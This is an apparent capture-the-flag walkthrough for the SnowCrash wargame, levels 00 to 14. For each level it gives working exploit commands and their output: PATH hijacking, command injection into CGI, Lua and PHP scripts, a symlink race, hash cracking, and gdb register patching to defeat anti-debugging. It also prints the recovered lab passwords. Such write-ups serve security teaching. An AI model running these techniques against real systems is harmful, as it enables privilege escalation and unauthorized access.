./level00

In this first level, we felt a bit lost: the home directory was empty and we didn't have permissions to read or write. However, we discovered a command to search the entire filesystem for files that have read permissions set for others (non-owners):

find / -type f -perm -o=r 2>/dev/null

Despite a lengthy search, we mainly stumbled upon clues for subsequent levels.
Utilizing *grep* with the terms | **level00** and | **flag00** yielded no relevant results either.

We later discovered that the find command has another useful parameter: *user*.
This command searches the entire filesystem for files owned by the user **flag00** :

```
level00@SnowCrash:~$ find / -type f -user flag00 2>/dev/null
/usr/visbin/john
/rofs/usr/sbin/john

level00@SnowCrash:~$ ls -al /usr/sbin/john
----r--r-- 1 flag00 flag00 15 Mar  5  2016 /usr/sbin/john

level00@SnowCrash:~$ cat /usr/sbin/john
cdiiddwpgswtgt
```

Bingo!

We attempted to use the provided key to gain access under the *flag00* user profile, but were unsuccessful. Suspecting that the key might be encrypted, we utilized the *dcode.fr* website and its automatic cipher detection tool. Our findings indicate that the encryption method in use is ROT13 / Caesar cipher.

[A-Z]+15 nottoohardhere

```
level00@SnowCrash:~$ su flag00
Password: nottoohardhere
Don't forget to launch getflag !

flag00@SnowCrash:~$ getflag
Check flag.Here is your token : x24ti5gi3x0ol2eh4esiuxias

flag00@SnowCrash:~$ su level01
Password: x24ti5gi3x0ol2eh4esiuxias

level01@SnowCrash:~$
```

./level01

In the first level, we unearthed clues for **level01**:

```
level00@SnowCrash:~$ cat /etc/passwd/
...
flag01:42hDRfypTqqnw:3001:3001::/home/flag/flag01:/bin/bash
...
```

We gave a shot at using the hash as a key, but obviously it wasn't that simple. Digging around for hash cracking tools, we bumped into **John the Ripper**.
Funny enough, in the previous level, our flag was chilling inside a file named **john** - talk about a nudge in the right direction, right? :-)
After giving John a try, we figured out it's a **DES** hash. Good thing John's got a built-in dictionary with many common passwords.

```
level01@SnowCrash:~$ echo 42hDRfypTqqnw > hash.txt

level01@SnowCrash:~$ john hash.txt
Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 SSE2-16])No
password hashes left to crack (see FAQ)
```

John cracked the **password** instantly, yet the terminal displayed no result.
The decrypted password is stored in a separate file.

```
level01@SnowCrash:~$ cat ~/.john/john.pot
42hDRfypTqqnw:abcdefg

level01@SnowCrash:~$ su flag01
Password: abcdefg
Don't forget to launch getflag !

flag01@SnowCrash:~$ getflag
Check flag.Here is your token : f2av5il02puano7naaf6adaaf

flag01@SnowCrash:~$ su level02
Password: f2av5il02puano7naaf6adaaf

level02@SnowCrash:~$
```

./level02

This time around, we delved into something quite intriguing at home, a *.pcap* file. This file encapsulates **packet data** from a network, facilitating the **analysis** and **management** of **network traffic** and **status**.

```
level02@SnowCrash:~$ ls
level02.pcap

host:~$ scp -P 4242 level02@xxx.xxx.xxx.xxx:level02.pcap ./level02.pcap
```

In order to dissect this file, we scoured the internet for suitable software. Among the available options, *Wireshark* emerged as the most robust and user-friendly network protocol analyzer.
However, before diving into analysis, we had to transfer the **.pcap** file from the virtual machine to our local system. This was accomplished using the *"scp"* command, which stands for *Secure Copy Protocol*.

With the file on our local machine, we fired up Wireshark and initiated a thorough examination.
In Wireshark, by navigating through: *Right-click > Follow > TCP Stream*, we observed a user attempting a password entry, which was flagged as incorrect.

```
..wwwbugs login: l.le.ev.ve.el.lX.X
..
Password: ft_wandr...NDRel.L0L
.
..
Login incorrect
```

Upon closer inspection and after some tinkering, we discerned that the occurrences of *"."* within the password were actually representing backspace inputs. This led us to correct the password:

ft_wandr...NDRel.L0L -> ft_waNDReL0L

```
level02@SnowCrash:~$ su flag02
Password: ft_waNDReL0L
Don't forget to launch getflag !

flag02@SnowCrash:~$ getflag
Check flag.Here is your token : kooda2puivaav1idi4f57q8iq

flag02@SnowCrash:~$ su level03
Password: kooda2puivaav1idi4f57q8iq

level03@SnowCrash:~$
```

./level03

Once more, we've got a little something waiting in our home directory. There's this cheeky executable file taunting us with a message: *"Exploit me"*.

```
level03@SnowCrash:~$ ls
level03

level03@SnowCrash:~$ ./level03
Exploit me
```

Without hesitation, we extracted it from the VM, and employed *Ghidra*, a highly effective software for disassembling compiled files, to decompile it and understand its purpose.

```
int main(int argc, char **argv, char **envp)
{
    int ret;
    gid_t groupid;
    uid_t userid;

    groupid = getegid();
    userid = geteuid();
    setresgid(groupid, groupid, groupid);
    setresuid(userid, userid, userid);
    ret = system("/usr/bin/env echo Exploit me");
    return ret;
}
```

After numerous attempts to alter the stack variables with gdb, we reached an impasse. It became clear that the exploit avenue lay in the command:

system("/usr/bin/env echo Exploit me");

We realized that the *"env"* could be manipulated to execute a malicious version of echo.
Therefore, we adjusted the *PATH* environment variable to include the directory */var/tmp*, where we had write permissions. Subsequently, we wrote a simple shell script and, ensuring the system call would locate it within the new *PATH*, aptly named it echo to be executed in place of the intended command.

```
level03@SnowCrash:~$ export PATH=/var/tmp:$PATH

level03@SnowCrash:~$ env
...
PATH=/var/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/
usr/games
...

level03@SnowCrash:~$ echo getflag > /var/tmp/echo

level03@SnowCrash:~$ ./level03
Exploit me

level03@SnowCrash:~$ chmod +x /var/tmp/echo

level03@SnowCrash:~$ ./level03
Check flag.Here is your token : qi0maab88jeaj46qoumi7maus

level03@SnowCrash:~$ su level04
Password: qi0maab88jeaj46qoumi7maus

level04@SnowCrash:~$
```

./level04

In this stage, we came across a file named *"level04.pl"* within the home directory, which contained an intriguing Perl script ready for our analysis.

```perl
#!/usr/bin/perl
# localhost:4747
use CGI qw{param};
print "Content-type: text/html\n\n";
sub x {
  $y = $_[0];
  print `echo $y 2>&1`;
}
x(param("x"));
```

The script serves as a simple *Common Gateway Interface (CGI)* listening on port 4747.
It is designed to accept a single parameter from an HTTP request and subsequently execute an *echo* command on the server's command shell, reflecting the input parameter back to the client. We verified that the script was already operational.

```
level04@SnowCrash:~$ netstat -tunl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp6       0      0 :::4747                 :::*                    LISTEN
```

This configuration introduces a severe vulnerability, as any parameter included in the HTTP request is executed on the server under the privileges of the script owner, which in this case is *"flag04"*.

Leveraging this vulnerability, we crafted an HTTP request embedding the command *$(getflag)* as the parameter. This command substitution invokes *getflag* and the result is passed to the echo command within the Perl script. The echo command then outputs the flag, which is relayed back to us via the HTTP response.

```
level04@SnowCrash:~$ curl http://localhost:4747?x='$(getflag)'
Check flag.Here is your token : ne2searoevaevoem4ov4ar8ap

level04@SnowCrash:~$ su level05
Password: ne2searoevaevoem4ov4ar8ap

level05@SnowCrash:~$
```

./level05

Upon inspecting the home directory, we found it empty.
As a typical investigative step in privilege escalation tasks, we set out to find files owned by the user *flag05*. Our search led us to identify the file *openarenaserver*, situated in the */usr/sbin* directory.

```
level05@SnowCrash:~$ find / -type f -user flag05 2>/dev/null
/usr/sbin/openarenaserver

level05@SnowCrash:~$ cat /usr/sbin/openarenaserver
#!/bin/sh

for i in /opt/openarenaserver/* ; do
        (ulimit -t 5; bash -x "$i")
        rm -f "$i"
done
```

Curiosity drove us to examine its content: a bash script.
The script is designed to iteratively execute files in the */opt/openarenaserver* directory. Each file, once executed, is subjected to a runtime limit of 5 seconds (enforced by *ulimit*). Subsequent to its execution, the file is deleted, as indicated by the *rm -f "$i"* command. This entire operation is scheduled to run every 2 minutes.

Recognizing the potential to exploit this behavior, we crafted a simple bash script that invokes the getflag command. However, instead of the standard output, we would redirect the result to a directory we had permissions to access, ensuring that the flag would be retrievable post-execution.

```
level05@SnowCrash:~$ echo "getflag > /var/tmp/flag" > /opt/openarenaserver/script

level05@SnowCrash:~$ chmod +x /opt/openarenaserver/script

... wait 2 minutes ...

level05@SnowCrash:~$ cat /var/tmp/flag
Check flag.Here is your token : viuaaale9huek52boumoomioc


level05@SnowCrash:~$ su level06
Password: viuaaale9huek52boumoomioc

level06@SnowCrash:~$
```

./level06

In the level06 home directory, there is an executable named *“level06”* and a php file named *“level06.php”*.
Below is the php script and decompiled code from *Ghidra*:

```php
#!/usr/bin/php
<?php
function y($m) {
    $m = preg_replace(“/\./”, “ x “, $m);
    $m = preg_replace(“/@/”, “ y”, $m);
    return $m;
}
function x($y, $z) {
    $a = file_get_contents($y);
    $a = preg_replace(“/(\[x (.*)\])/e”, “y(\”\\2\”)”, $a);
    $a = preg_replace(“/\[/”, “(“, $a);
    $a = preg_replace(“/\]/”, “)”, $a);
    return $a;
}
$r = x($argv[1], $argv[2]);
print $r;
?>
```

```c
int main(int argc, int argv, char **envp)
{
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();

    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);

    char *php_bin = “/usr/bin/php”;
    char *php_scr = “/home/user/level06/level06.php”;
    char *args[] = {php_bin, php_scr, NULL};

    execve(php_bin, args, envp);
    return 0;
}
```

The executable is processing the *level06.php* script under the user *Flag06*.
It takes a file as its first argument, reads it, and then parses and runs it using *PHP*.

There’s a vulnerability in the *preg_replace* function within the *PHP* script. We can exploit this by injecting code using the regex pattern *[x ...]*, provided to it as an argument through the level06 executable.

We’ve crafted a simple payload:

[x {${`getflag`}}]

and saved it in the */var/tmp* directory.

```
level06@SnowCrash:~$ echo ‘[x {${`getflag`}}]’ > /var/tmp/payload

level06@SnowCrash:~$ ./level06 /var/tmp/payload
PHP Notice:  Undefined variable: Check flag.Here is your token : wiok45aaoguiboi-
ki2tuin6ub
 in /home/user/level06/level06.php(4) : regexp code on line 1


level06@SnowCrash:~$ su level07
Password: wiok45aaoguiboiki2tuin6ub

level07@SnowCrash:~$
```

./level07

Upon accessing the level07 user's home directory, our attention was immediately drawn to an executable. To glean insights into its inner workings, we opted again for *Ghidra*.

```
int main(int argc, char **argv, char **envp)
{
    char *logname;
    int sysRes;
    char *cmd;
    __gid_t egid;
    __uid_t euid;

    egid = getegid();
    euid = geteuid();
    setresgid(egid, egid, egid);
    setresuid(euid, euid, euid);

    cmd = NULL;
    logname = getenv("LOGNAME");
    asprintf(&cmd, "/bin/echo %s ", logname);

    sysRes = system(cmd);
    return sysRes;
}
```

Upon scrutinizing the decompiled code, it became evident that the program retrieves the value of the *LOGNAME* environment variable, and then appends it to the */bin/echo* command. The concatenated command is then executed using the system function.

The vulnerability lies in the unchecked usage of the *LOGNAME* variable content within the system call. We crafted an environment variable *LOGNAME* containing a compound command. Our objective was to invoke the *getflag* command subsequent to an echo of a harmless string

```
level07@SnowCrash:~$ export LOGNAME="miao && getflag"

level07@SnowCrash:~$ ./level07
miao
Check flag.Here is your token : fiumuikeil55xe9cu4dood66h

level07@SnowCrash:~$ su level08
Password: fiumuikeil55xe9cu4dood66h

level08@SnowCrash:~$
```

./level08

In the level08 directory, there is an executable named *“level08”* and a file named *“token”*, which is inaccessible to us. Below is the decompiled code from *Ghidra*:

```c
int main(int argc, char **argv, char **envp)
{
    char *tokenPos;
    int fd;
    size_t nRead;
    ssize_t bytesWritten;
    int stackGuard;
    char buf[1024];

    stackGuard = *(int *)(in_GS_OFFSET + 20);

    if (argc == 1)
    {
        printf("%s [file to read]\n", argv[0]);
        exit(1);
    }

    tokenPos = strstr(argv[1], "token");
    if (tokenPos != NULL)
    {
        printf("You may not access \'%s\'\n", argv[1]);
        exit(1);
    }

    fd = open(argv[1], 0);
    if (fd == -1)
    {
        err(1, "Unable to open %s", argv[1]);
    }

    nRead = read(fd, buf, 1024);
    if (nRead == -1)
    {
        err(1, "Unable to read fd %d", fd);
    }

    bytesWritten = write(1, buf, nRead);
    if (stackGuard != *(int *)(in_GS_OFFSET + 20))
    {
        __stack_chk_fail();
    }
    return bytesWritten;
}
```

The program is structured with a series of five conditional checks:

1. It validates whether *argc* is equal to 1.
2. It ascertains if *argv[1]* contains the substring ‘token’.
3. It determines the accessibility of the specified file for opening.
4. Upon successfully opening the file, it verifies the readability of the file descriptor.
5. It implements a check for potential *buffer overflow*.

Recognizing our inability to directly access or rename the *“token”* file, we crafted a symbolic link with a unique name, that points to the ‘token’ file. The program checks only the argument’s name, not its actual source. Thus, our symbolic link bypasses this validation, allowing indirect content access.

```
level08@SnowCrash:~$ ln -s /home/user/level08/token /var/tmp/link

level08@SnowCrash:~$ ./level08 /var/tmp/link

quif5eloekouj29ke0vouxean

level08@SnowCrash:~$ su flag08
Password:
Don’t forget to launch getflag !

flag08@SnowCrash:~$ getflag
Check flag.Here is your token : 25749xKZ8L7DkSCwJkT9dyv6f

flag08@SnowCrash:~$ su level09
Password: 25749xKZ8L7DkSCwJkT9dyv6f

level09@SnowCrash:~$
```

./level09

In the level09 directory, reminiscent of the previous level, we encountered an executable named *“level09”* and a file labeled *“token”*. Unlike before, however, we were able to read the token this time, but its contents appeared obfuscated, potentially due to an overflow.

```
level09@SnowCrash:~$ cat token
f4kmm6p|=□p□n□□DB□Du{□□

level09@SnowCrash:~$ ./level09 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~□□□□□□□□□□□□□□□□□□
□□□□□□
```

Upon further inspection of the executable, we found that it processes a string argument in a specific way: it takes each character and adds its index position to its ASCII value. This transformation sometimes leads to an overflow, causing certain characters to be unreadable.

Given the behavior of the executable we hypothesized that the *“token”* file might have been obfuscated using the same mechanism. To decrypt its contents, we crafted a C program to reverse this transformation:

```c
#include <stdio.h>

int main() {
    FILE *file = fopen(“token”, “r”);
    if (file == NULL) {
        fprintf(stderr, “Could not open file\n”);
        return 1;
    }

    int ch;
    int i = 0;

    while ((ch = fgetc(file)) != EOF) {
        printf(“%c”, ch - i);
        i++;
    }

    fclose(file);
    return 0;
}
```

By running this program on the *“token”* file, we successfully unmasked its contents, unveiling the flag09 user password.

```
level09@SnowCrash:/var/tmp$ gcc exploit.c -o exploit

level09@SnowCrash:/var/tmp$ ./exploit ~/token
f3iji1ju5yuevaus41q1afiuq

level09@SnowCrash:/var/tmp$ su flag09
Password: f3iji1ju5yuevaus41q1afiuq
Don’t forget to launch getflag !

flag09@SnowCrash:~$ getflag
Check flag.Here is your token : s5cAJpM8ev6XHw998pRWG728z

flag09@SnowCrash:~$ su level10
Password: s5cAJpM8ev6XHw998pRWG728z

level10@SnowCrash:~$
```

./level10

In the level10 home directory we found an executable named *“level10”* and a file labeled *“token”*. Below is the decompiled code from *Ghidra*:

```
int main(int argc, char **argv)
{
    char *file = argv[1];
    char *host = argv[2];

    int access_result = access(file, R_OK);
    if (access_result == 0)
    {
        printf(“Connecting to %s:6969 .. “, host);
        fflush(stdout);

        int socket_fd = socket(AF_INET, SOCK_STREAM, 0);

        struct sockaddr_in server_address = { .sin_family = AF_INET, .sin_port =
htons(6969), .sin_addr.s_addr = inet_addr(host)};

        int connect_result = connect(socket_fd, (struct sockaddr *)&server_address,
sizeof(server_address));
        if (connect_result == -1)
        {
            printf(“Unable to connect to host %s\n”, host);
            exit(1);
        }

        ssize_t write_result = write(socket_fd, “.*( )*.\n”, 8);
        if (write_result == -1)
        {
            printf(“Unable to write banner to host %s\n”, host);
            exit(1);
        }

        printf(“Connected!\nSending file .. “);
        fflush(stdout);

        int file_fd = open(file, O_RDONLY);
        if (file_fd == -1)
        {
            puts(“Damn. Unable to open file”);
            exit(1);
        }

        char buffer[4096];
        ssize_t read_result;
        while ((read_result = read(file_fd, buffer, sizeof(buffer))) > 0)
        {
            write(socket_fd, buffer, read_result);
        }

        close(file_fd);
        close(socket_fd);
        printf(“wrote file!\n”);
    }
    else
    {
        printf(“You don’t have access to %s\n”, file);
    }

    return 0;
}
```

Key points about the program:

- The program requires two arguments: a file and a hostname.
- It checks if the given file is readable by the current user.
- The content of the file is then sent to port 6969.
- The program subsequently reads the file and writes its content to the same port.

The access() function in the program, as it stands, is not directly exploitable. However, if we can bypass this check, we would gain access to the token file.

There’s an exploitation technique known as “Bait & Switch,” which leverages symbolic links. Essentially, it involves redirecting the endpoint of a symbolic link while the program is running.

By rapidly toggling between two files—one that we have permission to access and the other being the desired token—we can potentially deceive the program.

In the first terminal, we launch the exploit:

```
level10@SnowCrash:~$ cat /tmp/exploit.sh
while :; do
ln -sf /tmp/miao /tmp/link
ln -sf ~/token /tmp/link
done

level10@SnowCrash:~$ bash /tmp/exploit.sh
```

The second one, we listen on port 6969:

```
level10@SnowCrash:~$ cat /tmp/nc.sh
while :; do
nc -l 127.0.0.1 6969
done

level10@SnowCrash:~$ bash /tmp/nc.sh
```

And finally in the last terminal, launch multiple times the executable “level10”:

```
level10@SnowCrash:~$ while true; do ./level10 /tmp/link 127.0.0.1; done
.*( )*.
.*( )*.
woupa2yuojeeaaed06riuj63c
.*( )*.

level10@SnowCrash:~$ su flag10
Password: woupa2yuojeeaaed06riuj63c
Don’t forget to launch getflag !

flag10@SnowCrash:~$ getflag
Check flag.Here is your token : feulo4b72j7edeahuete3no7c

flag10@SnowCrash:~$ su level11
Password: feulo4b72j7edeahuete3no7c

level11@SnowCrash:~$
```

./level11

In the level11 home directory, we were presented with a file named *“level11.lua”*.
A quick inspection revealed that it’s a server-side Lua script designed to listen on port 5151. The primary function of this server is to accept a password input, hash it using the SHA-1 algorithm, and then verify the resulting hash against an expected value.

```lua
#!/usr/bin/env lua
local socket = require(“socket”)
local server = assert(socket.bind(“127.0.0.1”, 5151))

function hash(pass)
  prog = io.popen(“echo “..pass..” | sha1sum”, “r”)
  data = prog:read(“*all”)
  prog:close()

  data = string.sub(data, 1, 40)

  return data
end


while 1 do
  local client = server:accept()
  client:send(“Password: “)
  client:settimeout(60)
  local l, err = client:receive()
  if not err then
      print(“trying “ .. l)
      local h = hash(l)

      if h ~= “f05d1d066fb246efe0c6f7d095f909a7a0cf34a0” then
          client:send(“Erf nope..\n”);
      else
          client:send(“Gz you dumb*\n”)
      end

  end

  client:close()
end
```

A closer look revealed a potential vulnerability:

prog = io.popen(“echo “..pass..” | sha1sum”, “r”)

The script directly passed the pass variable to a system command without sanitization, exposing it to command injection attacks. By exploiting this, we injected the *getflag* command and piped its output to *wall*, a utility that broadcasts messages to all users:

```
level11@SnowCrash:~$ nc localhost 5151
Password: $(getflag) | wall

Broadcast Message from flag11@Snow
        (somewhere) at 15:09 ...

Check flag.Here is your token : fa6v5ateaw21peobuub8ipe6s

Erf nope..

level11@SnowCrash:~$ su level12
Password: fa6v5ateaw21peobuub8ipe6s

level12@SnowCrash:~$
```

./level12

Inside the level12 home directory, we found a Perl script named *“level12.pl”*.
This script seemed simple but proved to be a real brain-teaser, listening on localhost port 4646 and employing the CGI module to process web inputs.

```perl
#!/usr/bin/env perl
# localhost:4646
use CGI qw{param};
print «Content-type: text/html\n\n»;

sub t {
  $nn = $_[1];
  $xx = $_[0];
  $xx =~ tr/a-z/A-Z/;
  $xx =~ s/\s.*//;
  @output = `egrep “^$xx” /tmp/xd 2>&1`;
  foreach $line (@output) {
      ($f, $s) = split(/:/, $line);
      if($s =~ $nn) {
          return 1;
      }
  }
  return 0;
}

sub n {
  if($_[0] == 1) {
      print(“..”);
  } else {
      print(«.»);
  }
}

n(t(param(«x»), param(«y»)));
```

The crux of the script is the following command:

@output = `egrep “^$xx” /tmp/xd 2>&1`;

Here, the *“$xx”* variable is sanitized from HTML query parameter *“x”*. The challenge was that *”$xx”* gets converted to uppercase and truncated at spaces, making conventional shell injection difficult.

The script’s primary function is to:

- Convert $_[0] to uppercase.
- Trim spaces and any subsequent characters from $_[0].
- Use egrep to search the /tmp/xd file for lines beginning with the altered $_[0].

Our breakthrough came when we realized we could exploit the egrep command to execute an all-uppercase file. Thus, we devised an executable script that invokes the getflag command and writes the output to another file:

```
level13@SnowCrash:~$ cat /var/tmp/MIAO
#!/bin/sh

getflag > /var/tmp/flag

level12@SnowCrash:~$ chmod 777 /var/tmp/MIAO

level12@SnowCrash:~$ curl http://localhost:4646?x='$(/*/*/MIAO)'

..level12@SnowCrash:~$ cat /var/tmp/flag
Check flag.Here is your token : g1qKMiRpXf53AWhDaU7FEkczr

level12@SnowCrash:~$ su level13
Password: g1qKMiRpXf53AWhDaU7FEkczr

level13@SnowCrash:~$
```

./level13

A critical observation in the code is the dependency on the getuid() function to yield 0x1092 (or 4242). To gain a more granular understanding, an assembly level inspection was conducted.

```c
void main(void)
{
    __uid_t uid;
    char *token;

    uid = getuid();
    if (uid != 0x1092)
    {
        uid = getuid();
        printf("UID %d started us but we we expect %d\n", uid, 0x1092);
        exit(1);
    }
    token = ft_des("boe]!ai0FB@.:|L6l@A?>qJ}I");
    printf("your token is %s\n", token);
    return;
}
```

As in many previous levels, upon accessing the level13 user's home directory, we found an executable. To glean insights into its inner workings, we opted again for Ghidra.

```
(gdb) disas main
Dump of assembler code for function main:
   0x0804858c <+0>:     push   %ebp
   0x0804858d <+1>:     mov    %esp,%ebp
   0x0804858f <+3>:     and    $0xfffff0,%esp
   0x08048592 <+6>:     sub    $0x10,%esp
   0x08048595 <+9>:     call   0x8048380 <getuid@plt>
   0x0804859a <+14>:    cmp    $0x1092,%eax           <<<<<<<<<<<<<<<<<<<
   0x0804859f <+19>:    je     0x80485cb <main+63>
   0x080485a1 <+21>:    call   0x8048380 <getuid@plt>
   0x080485a6 <+26>:    mov    $0x80486c8,%edx
   0x080485ab <+31>:    movl   $0x1092,0x8(%esp)
   0x080485b3 <+39>:    mov    %eax,0x4(%esp)
   0x080485b7 <+43>:    mov    %edx,(%esp)
   0x080485ba <+46>:    call   0x8048360 <printf@plt>
   0x080485bf <+51>:    movl   $0x1,(%esp)
   0x080485c6 <+58>:    call   0x80483a0 <exit@plt>
   0x080485cb <+63>:    movl   $0x80486ef,(%esp)
   0x080485d2 <+70>:    call   0x8048474 <ft_des>
   0x080485d7 <+75>:    mov    $0x8048709,%edx
   0x080485dc <+80>:    mov    %eax,0x4(%esp)
   0x080485e0 <+84>:    mov    %edx,(%esp)
   0x080485e3 <+87>:    call   0x8048360 <printf@plt>
   0x080485e8 <+92>:    leave
   0x080485e9 <+93>:    ret
End of assembler dump.
```

The assembly instruction at *0x0804859a* compares the value present in the eax register to *0x1092*. Given the capabilities of GDB, we can actively manipulate the register values during runtime. By setting a breakpoint at the previously mentioned instruction, modifying the "*eax*" register, and then proceeding with the execution, we can effectively bypass the conditional check, circumventing the undesired *exit* call.

```
level13@SnowCrash:~$ gdb level13
(gdb) break *0x804859a
Breakpoint 1 at 0x804859a
(gdb) run
Starting program: /home/user/level13/level13

Breakpoint 1, 0x0804859a in main ()
(gdb) frame
#0  0x0804859a in main ()
(gdb) print $eax=0x1092
$1 = 4242
(gdb) continue
Continuing.
your token is 2A31L79asukciNyi8uppkEuSx
[Inferior 1 (process 2979) exited with code 050]
(gdb) q

level13@SnowCrash:~$ su level14
Password: 2A31L79asukciNyi8uppkEuSx

level14@SnowCrash:~$
```

./level14

In this level, after a really long search, we found out that we have nothing to work on. The only thing left for us to exploit is the getflag executable, so let's look at this, with *Ghidra*.

```
int main(void)
{
...
  ptraceResult = ptrace(PTRACE_TRACEME,0,1,0);
  if (ptraceResult < 0) {
    puts("You should not reverse this");
    returnValue = 1;
  }
  else {
...
              uid = getuid();
...
              else if (uid == 3013) {
                token = (char *)ft_des("boe]!ai0FB@.:|L6l@A?>qJ}I");
                fputs(token,__stream);
              }
              else {
                if (uid != 3014) goto LAB_08048e06;
                token = (char *)ft_des(«g <t61:|4_|!@IF.-62FH&G~DCK/Ekrvvdwz?v|»);
                fputs(token,__stream);
              }
...
    return returnValue;
}
```

The *main* function is quite extensive and encompasses various operations.
We've condensed it down, spotlighting only the key segments. Here's what's interesting:

```
ptraceResult = ptrace(PTRACE_TRACEME,0,1,0);
if (ptraceResult < 0) {
  puts("You should not reverse this");
  returnValue = 1;
}
```

The code tries to stop debuggers like GDB from working. If it finds one, *ptrace* returns -1.
So, we need to get around this.

```
if (uid != 3014) goto LAB_08048e06;
token = (char *)ft_des(«#hash»);
fputs(token,__stream);
```

Then, there's one last important *"if"* check. If the user ID is 3014 (which belongs to *flag14*), we can get access to his token.

Alright, we know what to do. Let's figure out how to make it happen.

```
08048989 e8 b2 fb ff ff    CALL        <EXTERNAL>::ptrace
0804898e 85 c0             TEST        EAX,EAX
08048990 79 16             JNS         LAB_080489a8
```

The *ptrace* function call is followed by the assembly instruction *TEST EAX,EAX*.
This instruction checks if the value in the *EAX* register is zero by executing a bitwise *AND* operation on itself, effectively assessing the return value of ptrace. To bypass this check, our goal is to ensure *EAX* is set to zero after the *ptrace* call.

```
08048bb6 3d c6 0b 00 00  CMP         uid,3014
08048bbb 0f 84 24 02 00  JZ          LAB_08048de5
```

Next up, we have the *CMP* instruction which compares the value in the *EAX* register to the constant *0x00000bc6* (which is *3014* in decimal). To manipulate the result of this comparison, we need to modify the *EAX* value after the *getuid()* call. So let's execute all that:

```
level14@SnowCrash:~$ gdb getflag
(gdb) break *0x804898e              // TEST EAX, EAX
Breakpoint 1 at 0x804898e
(gdb) run
Starting program: /bin/getflag

Breakpoint 1, 0x0804898e in main ()
(gdb) print $eax
$1 = -1                             // PTRACE return value
(gdb) print $eax=0
$2 = 0
(gdb) break getuid
Breakpoint 2 at 0xb7ee4cc0
(gdb) continue
Continuing.

Breakpoint 2, 0xb7ee4cc0 in getuid () from /lib/i386-linux-gnu/libc.so.6
(gdb) si                            // Step next instruction
0xb7fdd418 in __kernel_vsyscall ()  // Step out of syscall
...
0x08048b02 in main ()               // We are just before EAX get put in uid
(gdb) print $eax
$7 = 2014
(gdb) $eax=3014
(gdb) continue
Continuing.
Check flag.Here is your token : 7QiHafiNa3HVozsaXkawuYrTstxbpABHD8CPnHJ
[Inferior 1 (process 336) exited normally]
(gdb) q
level14@SnowCrash:~$ su flag14
Password: 7QiHafiNa3HVozsaXkawuYrTstxbpABHD8CPnHJ
Congratulation. Type getflag to get the key and send it to me the owner of this
livecd :)
```